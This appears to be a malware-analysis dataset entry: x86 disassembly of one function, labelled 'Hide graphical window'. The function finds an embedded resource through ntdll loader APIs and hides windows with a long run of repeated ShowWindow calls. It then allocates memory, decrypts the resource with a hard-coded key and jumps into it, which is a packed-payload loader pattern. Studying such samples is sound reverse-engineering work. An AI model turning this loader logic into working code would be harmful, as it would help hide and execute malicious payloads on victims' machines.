Function at 0x1000c320
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10049398]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.ntdll.dll
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0x17
mov dword [ebp - 0xc], 0x1e55
mov dword [ebp - 8], 0x409
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x11
push str.LdrFindResource_U
mov edi, eax
call fcn.10001046
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 8
push eax
push edi
call esi
push str.LdrAccessResource
push edi
mov dword [0x1004b0ec], eax
call esi
mov dword [0x1004b0f0], eax
lea eax, [ebp - 0x24]
push eax
push 0x1003dfc8
call fcn.1000f02f
add esp, 4
push eax
lea eax, [ebp - 0x10]
push eax
push 0x10000000
call dword [0x1004b0ec]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
mov edi, eax
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
test edi, edi
js 0x1000c64c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
push 0x10000000
call dword [0x1004b0f0]
push 0x1003dfcc
call fcn.1000f159
add esp, 4
push eax
push 0x1003dfcc
call fcn.1000f159
push 0x1003dfcc
mov esi, eax
call fcn.1000f159
imul esi, eax
add esp, 8
push esi
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0x18]
mov esi, eax
push dword [ebp - 0x20]
push esi
call fcn.1000f880
lea eax, [ebp - 0x1c]
push eax
push 0x54
push str.7bOjO_i7_7bA_PM_6jZud8bVfE_d_ul_lBz4uBG__w6lHWsGNj_V_BrQbVJI_MVdfKi__ERzGU_P
call fcn.10001168
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
push esi
call fcn.1000132f
add esp, 0x24
lea ecx, [ebp - 0x11]
push dword [ebp - 0x18]
push esi
call fcn.10001136
push 0x1003dfd4
push eax
lea ecx, [ebp - 0x11]
call fcn.10001172
call eax
push 0
push 0
push dword [0x10049094]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.1000f362
mov esp, ebp
pop ebp
ret